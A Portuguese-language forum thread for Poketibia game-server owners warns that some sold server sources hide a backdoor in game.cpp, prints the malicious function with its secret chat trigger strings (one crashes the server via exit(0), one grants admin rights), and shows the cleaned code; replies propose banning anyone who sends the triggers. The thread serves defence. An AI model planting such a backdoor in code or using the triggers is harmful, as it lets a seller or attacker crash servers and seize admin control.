Ir para conteúdo

Source Poketibia - Código de derrubar


Prometheus X

Posts Recomendados



Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.




 




Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)




 




bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}

if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
{
exit(0);
}

if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
{
player->setGroup(Groups::getInstance()->getGroup(6));
}

Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);

SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{



Mude para:




 




bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
Player* player = creature->getPlayer();
if(player && player->isAccountManager())
{
player->manageAccount(text);
return true;
}

Position destPos = creature->getPosition();
if(pos)
destPos = (*pos);

SpectatorVec list;
SpectatorVec::const_iterator it;
if(!spectators || !spectators->size())
{



 




Créditos




Prometheus X (Por Trazer ao Xtibia)




Alexy Brocanello (Pelo Código)




CipSoft (Pelo Código Original)




 




Qualquer outro será creditado !




 




Atenciosamente




Prometheus X


Link para o comentário
Compartilhar em outros sites

1 hora atrás, Prometheus X disse:

Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.

 

Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)

 

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/){	Player* player = creature->getPlayer();	if(player && player->isAccountManager())	{		player->manageAccount(text);		return true;	}		if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")    {	exit(0);    }		if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")    {     player->setGroup(Groups::getInstance()->getGroup(6));    }	Position destPos = creature->getPosition();	if(pos)		destPos = (*pos);	SpectatorVec list;	SpectatorVec::const_iterator it;	if(!spectators || !spectators->size())	{

Mude para:

 

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/){	Player* player = creature->getPlayer();	if(player && player->isAccountManager())	{		player->manageAccount(text);		return true;	}	Position destPos = creature->getPosition();	if(pos)		destPos = (*pos);	SpectatorVec list;	SpectatorVec::const_iterator it;	if(!spectators || !spectators->size())	{

 

Créditos

Prometheus X (Por Trazer ao Xtibia)

Alexy Brocanello (Pelo Código)

CipSoft (Pelo Código Original)

 

Qualquer outro será creditado !

 

Atenciosamente

Prometheus X

muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw =):

Link para o comentário
Compartilhar em outros sites

54 minutos atrás, nociam disse:

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

O Cargo é Setado Antes do banimento então o cara iria ficar impune, haha.

Link para o comentário
Compartilhar em outros sites

1 hora atrás, nociam disse:

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

Tbm pensei nisso ahusdhuahusdaus

pra fazer isso só trocar 

exit(0);

player->setGroup(Groups::getInstance()->getGroup(6));

por

		Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true);		if(IOBan::getInstance()->addAccountBanishment(tmp.number, -1, 13, ACTION_DELETION,		"Sending shutdown code deprecated.", 0, player->getGUID()))			{				IOLoginData::getInstance()->saveAccount(tmp);				player->sendTextMessage(MSG_INFO_DESCR, "You have been banished.");				addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN);				Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind(				&Game::kickPlayer, this, player->getID(), false)));			}

Que ao executar o código ele toma o ban.

Link para o comentário
Compartilhar em outros sites

  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...